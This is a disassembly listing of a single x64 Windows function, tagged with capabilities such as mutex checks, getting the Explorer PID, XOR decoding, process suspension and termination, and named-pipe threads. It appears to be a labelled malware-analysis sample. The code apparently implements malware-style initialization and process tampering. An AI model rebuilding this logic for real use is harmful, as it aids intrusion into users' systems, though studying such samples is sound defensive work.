Function at 0x180013148
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Check os version
Create pipe
Create thread
Encode data using xor
Get explorer pid
Get session user name
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xb0
mov rbp, rcx
lea rcx, [0x180059c10]
xor r14d, r14d
or ebx, 0xffffffff
mov dword [rax + 0x10], r14d
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rcx, qword [0x180059270]
lea r11, [0x180059c00]
mov dword [0x180059c3c], r14d
mov qword [0x180059c08], r11
mov qword [0x180059c00], r11
lea edi, [rbx + 0x5d]
xor edx, edx
mov r8, rdi
mov dword [0x180059c38], r14d
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [0x180059bf0], rax
cmp rax, r14
je 0x180013d3c
mov r8, rdi
xor edx, edx
mov rcx, rax
call sub.ntdll.dll_memset
mov rcx, qword [0x180059bf0]
add rcx, 0x30
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov r8, qword [0x180059408]
lea r15d, [rbx + 2]
mov edx, r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [0x180059410], rax
cmp rax, r14
je 0x180013d39
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x180013d39
mov rcx, qword [0x180059270]
lea r12d, [r14 + 0x18]
xor edx, edx
mov r8, r12
mov ebx, r14d
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
lea r13, [0x180000000]
mov qword [0x180059430], rax
cmp rax, r14
je 0x1800132eb
lea rcx, [0x180059bc0]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea r11, [0x180059bb0]
lea rcx, [0x180059b80]
mov qword [0x180059bb8], r11
mov qword [0x180059bb0], r11
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea r11, [0x180059b60]
mov qword [0x180059b68], r11
mov qword [0x180059b60], r11
call qword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 6
jae 0x1800132ab
cmp qword [0x180059500], r14
jne 0x1800132ab
call fcn.18001b320
mov qword [0x180059500], rax
mov rdi, r14
mov esi, 3
mov rcx, qword [rdi + r13 + 0x57c48]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r11, rax
mov rax, qword [0x180059430]
mov qword [rdi + rax], r11
add rdi, 8
sub rsi, r15
jne 0x1800132b3
mov dword [0x18005942c], 3
mov dword [0x180059428], r15d
jmp 0x1800132f0
mov ebx, 8
cmp ebx, r14d
jne 0x180013d3c
mov ebx, dword [0x1800591c0]
mov rcx, qword [0x180059270]
mov edi, 0x3c6ef35f
xor edx, edx
imul ebx, ebx, 0x19660d
add ebx, edi
mov dword [0x1800591c0], ebx
shr ebx, 1
and ebx, 0xf
add ebx, 4
lea r8d, [rbx + 1]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r11, rax
mov qword [0x180059be8], rax
cmp rax, r14
je 0x1800133de
mov r8d, r14d
cmp ebx, r14d
jbe 0x1800133b4
mov r9d, dword [0x1800591c0]
mov rcx, rax
mov r8d, ebx
mov r10d, ebx
imul r9d, r9d, 0x19660d
mov eax, 0x51eb851f
add r9d, edi
mov dword [0x1800591c0], r9d
shr r9d, 1
mul r9d
shr edx, 3
imul edx, edx, 0x19
sub r9d, edx
add r9b, 0x41
mov byte [rcx], r9b
mov r9d, dword [0x1800591c0]
imul r9d, r9d, 0x19660d
add r9d, edi
mov dword [0x1800591c0], r9d
test r9b, 2
je 0x1800133ac
add byte [rcx], 0x20
mov r9d, dword [0x1800591c0]
add rcx, r15
sub r10, r15
jne 0x180013358
mov eax, r8d
lea r9, [0x18001037c]
lea rcx, [0x1800593b0]
lea r8, [0x1800104b8]
mov edx, 0x70
mov byte [rax + r11], r14b
call fcn.18001e288
mov ebx, eax
jmp 0x1800133e3
mov ebx, 8
cmp ebx, r14d
jne 0x180013d3c
lea rdx, [rsp + 0xf8]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov r11d, dword [rsp + 0xf8]
cmp r11d, r14d
je 0x180013438
mov rcx, qword [0x180059270]
mov r8, r11
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [0x1800592c0], rax
cmp rax, r14
je 0x180013438
lea rdx, [rsp + 0xf8]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov eax, dword [0x1800593a4]
mov r13d, 0x25b973e5
cmp eax, 0x8bdbae2c
je 0x18001352f
cmp eax, 0x7ee14d23
je 0x18001352f
cmp eax, r13d
je 0x18001352f
cmp rbp, r14
je 0x18001347a
lea rcx, [0x180059508]
mov r8, r12
mov rdx, rbp
call sub.ntdll.dll_memcpy
lea rax, [0x180010808]
lea rcx, [0x18005d86e]
mov qword [0x180059b48], r14
mov qword [0x180059b50], rax
mov ebx, r14d
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [0x180059470], rax
cmp rax, r14
je 0x180013511
lea rcx, [0x18005d01d]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebp, r14d
lea rsi, [0x180057c20]
mov qword [0x180059478], rax
mov r8d, dword [rsi]
mov r12, qword [0x180059470]
xor r9d, r9d
xor r8d, dword [0x18005944c]
xor edx, edx
mov rcx, r12
mov rdi, r14
call fcn.18001a718
cmp rax, r14
je 0x1800134f4
mov edi, dword [rax]
add rdi, r12
mov qword [rsi], rdi
cmp rdi, r14
je 0x18001350a
add ebp, r15d
add rsi, 8
cmp ebp, 5
jb 0x1800134c9
jmp 0x180013516
mov ebx, 0x7f
jmp 0x180013516
mov ebx, 0x7e
cmp ebx, r14d
jne 0x180013d3c
call fcn.18001c550
mov ebx, eax
cmp eax, r14d
jne 0x180013d3c
mov qword [rsp + 0x40], r14
mov r12d, pe_nt_image_headers64
cmp qword [0x180059340], r14
jne 0x180013587
mov eax, dword [0x18005944c]
mov rcx, qword [0x180059450]
lea r8, [rsp + 0x68]
xor eax, 0xa2bcb0b8
lea rdx, [rsp + 0x58]
xor r9d, r9d
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], eax
call fcn.1800442c0
mov rcx, qword [0x180059340]
cmp eax, r14d
cmovne rcx, qword [rsp + 0x58]
mov qword [0x180059340], rcx
lea rcx, [rsp + 0x40]
call fcn.180006a9c
cmp qword [rsp + 0x40], r14
jne 0x180013678
mov eax, dword [0x18005944c]
mov rcx, qword [0x180059450]
lea r8, [rsp + 0x108]
xor eax, 0x94b64117
lea rdx, [rsp + 0x40]
xor r9d, r9d
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], eax
call fcn.1800442c0
cmp eax, r14d
je 0x180013696
movsxd r8, dword [rsp + 0x108]
mov r10, qword [rsp + 0x40]
movabs rcx, 0xf4df3a8a6ba743ce
mov rax, r8
and r8d, 7
mov qword [rsp + 0x48], rcx
shr rax, 3
mov ebx, r14d
mov rdx, r14
movsxd r9, eax
cmp r9, r14
jle 0x180013654
mov ebx, r9d
lea rdi, [0x180000000]
mov r11, qword [r10 + rdx*8]
xor rcx, r11
mov qword [r10 + rdx*8], rcx
mov rcx, r14
movzx eax, byte [rsp + rcx + 0x48]
mov al, byte [rax + rdi + 0x50c70]
mov byte [rsp + rcx + 0x48], al
add rcx, r15
cmp rcx, 8
jl 0x180013622
mov rcx, qword [rsp + 0x48]
add rdx, r15
rol rcx, 0x1d
add rcx, r11
cmp rdx, r9
mov qword [rsp + 0x48], rcx
jl 0x180013614
movsxd rax, ebx
movsxd r8, r8d
cmp r8, r14
lea rcx, [r10 + rax*8]
jle 0x180013678
lea rdx, [rsp + 0x48]
sub rdx, rcx
mov al, byte [rdx + rcx]
xor byte [rcx], al
add rcx, r15
sub r8, r15
jne 0x18001366b
mov rcx, qword [rsp + 0x40]
call fcn.180006518
mov r8, qword [rsp + 0x40]
mov rcx, qword [0x180059270]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [0x1800593a4]
mov ebx, r14d
cmp eax, r13d
je 0x18001384b
cmp eax, 0x287fe8d8
je 0x180013755
cmp eax, 0x37688758
je 0x180013749
mov ecx, 0x4ab631d8
cmp eax, ecx
je 0x18001373f
cmp eax, 0x6a07fc86
je 0x180013739
cmp eax, 0x7ee14d23
je 0x18001370a
cmp eax, 0x8bdbae2c
je 0x180013700
cmp eax, 0x9f68805c
je 0x1800136ef
mov dword [0x1800593a4], r14d
jmp 0x180013860
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.18001063c
jmp 0x180013860
call fcn.18000832c
jmp 0x180013850
lea rcx, [0x18005d836]
mov ebx, 2
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp rax, r14
je 0x180013852
lea rdx, [0x18005d1e3]
mov rcx, rax
call fcn.180007fd8
jmp 0x180013850
mov dword [0x1800593a4], ecx
call fcn.18000b6d0
jmp 0x180013850
call fcn.180008ce8
mov ebx, eax
jmp 0x180013860
call qword [sym.imp.USER32.dll_GetShellWindow]
lea rdx, [rsp + 0x54]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edx, dword [rsp + 0x54]
cmp edx, r14d
je 0x180013782
lea rcx, [0x180059508]
call fcn.18001bfe4
mov ebx, eax
jmp 0x180013787
mov ebx, 2
cmp ebx, 5
jne 0x180013860
mov rcx, qword [0x180059438]
lea rax, [rsp + 0x70]
lea r9d, [rbx + 0x2b]
lea r8, [rsp + 0x78]
xor edx, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_ZwQueryInformationProcess]
mov edi, r14d
mov ecx, 0x1f0fff
cmp eax, r14d
cmovge edi, dword [rsp + 0xa0]
xor edx, edx
mov r8d, edi
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
cmp rax, r14
je 0x18001383a
mov rcx, rax
call qword [sym.imp.ntdll.dll_NtSuspendProcess]
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov ebx, eax
cmp eax, r14d
jne 0x18001382f
mov eax, dword [0x180059444]
cmp al, 6
jb 0x18001380e
jne 0x180013805
cmp byte [0x180059445], 2
jb 0x18001380e
mov ecx, edi
call fcn.18004d610
jmp 0x180013815
mov ecx, edi
call fcn.18004c280
neg eax
mov rcx, rsi
sbb ebx, ebx
not ebx
and ebx, 5
call qword [sym.imp.ntdll.dll_NtResumeProcess]
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180013842
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.1800090b4
mov ebx, eax
cmp ebx, r14d
jne 0x180013d3c
call fcn.180006488
cmp ebx, r14d
jne 0x180013d3c
call fcn.1800052e4
mov rcx, qword [0x180059270]
xor edx, edx
lea r8d, [rdx + 0x28]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
mov qword [0x180059350], rax
cmp rax, r14
je 0x180013d3c
mov dword [rax + 4], r14d
mov dword [rax], r14d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
lea r8, [0x180012d50]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], r14d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [0x180059350]
mov r11, rax
mov eax, dword [rdi + 4]
mov qword [rcx + rax*8 + 8], r11
mov eax, dword [rdi + 4]
cmp qword [rcx + rax*8 + 8], r14
je 0x180013d3c
inc eax
cmp dword [0x1800593a4], 0x37688758
mov dword [rdi + 4], eax
jne 0x180013b8e
lea r8, [0x1800593c8]
mov edx, r15d
xor ecx, ecx
call qword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
lea r9, [0x18001c9cc]
lea r8, [0x18001c9b4]
lea rcx, [0x180059550]
mov edx, 0x4a30
call fcn.18001e288
mov ebx, eax
cmp eax, r14d
jne 0x180013936
mov rax, qword [0x180059550]
or dword [rax + 0x34], 3
cmp ebx, r14d
jne 0x180013d3c
lea rax, [0x18001da54]
lea rcx, [0x1800595c8]
mov qword [0x1800595c8], rax
lea rax, [0x18001daa0]
mov qword [0x1800595e0], rax
call fcn.18001de5c
lea rax, [0x18001d788]
mov qword [0x180059580], rax
lea rax, [0x18001d6a8]
lea r10, [0x18001d754]
lea rcx, [0x180059560]
mov qword [0x180059570], rax
mov qword [0x180059568], r10
call fcn.18001de5c
lea rax, [0x18001e214]
lea r10, [0x18001e1a4]
mov qword [0x1800596a0], rax
lea rax, [0x18001e238]
mov qword [0x180059688], r10
mov qword [0x180059690], rax
mov dword [0x1800596a8], r15d
lea rcx, [0x180059680]
call fcn.18001de5c
lea r10, [0x18001d7ac]
lea rcx, [0x180059598]
mov qword [0x1800595a8], r10
mov dword [0x1800595c0], r15d
call fcn.18001de5c
mov ebx, r14d
mov dword [0x180059614], r14d
cmp dword [0x18005967b], r14d
je 0x180013a71
cmp qword [0x180059600], r14
jne 0x180013a71
xor r9d, r9d
xor r8d, r8d
mov edx, r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [0x180059600], rax
cmp rax, r14
je 0x180013a69
lea rax, [0x180059608]
lea r9, [0x180059600]
lea r8, [0x18001dc14]
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], r14d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x18005960c], rax
cmp rax, r14
jne 0x180013a71
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
cmp ebx, r14d
jne 0x180013d3c
test byte [0x180058764], 4
je 0x180013a98
mov dword [0x18005949c], r15d
mov dword [0x1800595f0], r15d
mov dword [0x180059588], r15d
lea rcx, section..bss
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp rax, r14
je 0x180013ac3
lea r8, [0x180058808]
lea rcx, [0x1800587f0]
mov r9d, r15d
mov edx, r15d
call fcn.180010574
mov rsi, qword [0x180059350]
mov rcx, qword [0x1800593c0]
lea rax, [0x180059480]
mov ebp, dword [rsi + 4]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], r14d
mov edx, 0x40000003
mov r9d, 0xff
mov r8d, 4
mov dword [rsp + 0x28], r12d
mov ebx, r14d
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180013b54
lea rax, [rsp + 0x6c]
lea r8, [0x180011048]
mov r9, rdi
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], r14d
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp rax, r14
je 0x180013b41
mov qword [rsi + rbp*8 + 8], rax
jmp 0x180013b5c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180013b5c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
cmp ebx, r14d
jne 0x180013d3c
mov rax, qword [0x180059350]
add dword [rax + 4], r15d
cmp dword [0x1800592ac], r14d
je 0x180013c82
lea rcx, [0x1800592a8]
call fcn.180002588
jmp 0x180013c82
cmp qword [0x180059458], r14
je 0x180013c82
lea r8, [rsp + 0x100]
lea rdx, [rsp + 0x60]
lea rcx, [0x18005d1bc]
call fcn.180004ea4
cmp eax, r14d
jne 0x180013c82
cmp dword [rsp + 0x100], 4
jbe 0x180013c82
mov rcx, qword [0x180059458]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov rbp, qword [rsp + 0x60]
mov r8d, dword [0x1800593d0]
mov edx, dword [rsp + 0x100]
mov rcx, rbp
xor r9d, r9d
mov r13, rax
call fcn.180044b7c
mov r11d, dword [rsp + 0x100]
mov rcx, r13
lea r12, [rbp + 4]
mov byte [r11 + rbp - 1], r14b
call qword [sym.imp.SHLWAPI.dll_PathFindExtensionA]
mov rsi, rax
cmp rax, r14
je 0x180013c1e
mov byte [rax], r14b
mov edx, 0x20
mov rcx, r12
call qword [sym.imp.SHLWAPI.dll_StrChrA]
mov rdi, rax
cmp rax, r14
je 0x180013c3a
mov byte [rax], r14b
add rdi, r15
mov rdx, r13
mov rcx, r12
call fcn.18001a8ac
cmp eax, r14d
jne 0x180013c54
mov r12, rdi
cmp rdi, r14
je 0x180013c68
jmp 0x180013c1e
xor r9d, r9d
mov rdx, rbp
mov ecx, 0x125
lea r8d, [r9 + 4]
call fcn.1800112ec
cmp rsi, r14
je 0x180013c70
mov byte [rsi], 0x2e
mov rcx, qword [0x180059270]
mov r8, rbp
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [0x1800593a4]
cmp eax, r14d
je 0x180013d39
cmp eax, 0x37688758
jne 0x180013cee
mov rcx, qword [0x180059270]
xor edx, edx
lea r8d, [rdx + 0x43]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [0x1800593b8], rax
mov rax, qword [0x1800593b8]
cmp rax, r14
je 0x180013cee
movzx r9d, byte [0x180059445]
movzx r8d, byte [0x180059444]
mov rcx, qword [0x1800593b8]
lea rax, [0x18005d135]
lea rdx, [0x18005d0fe]
mov qword [rsp + 0x20], rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov rdi, qword [0x180059350]
lea rax, [rsp + 0x50]
lea r8, [0x180007120]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], r14d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [0x180059350]
mov r11, rax
mov eax, dword [rdi + 4]
mov qword [rcx + rax*8 + 8], r11
mov eax, dword [rdi + 4]
cmp qword [rcx + rax*8 + 8], r14
je 0x180013d3c
inc eax
mov dword [rdi + 4], eax
mov ebx, r14d
mov eax, ebx
mov rbx, qword [rsp + 0xf0]
add rsp, 0xb0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret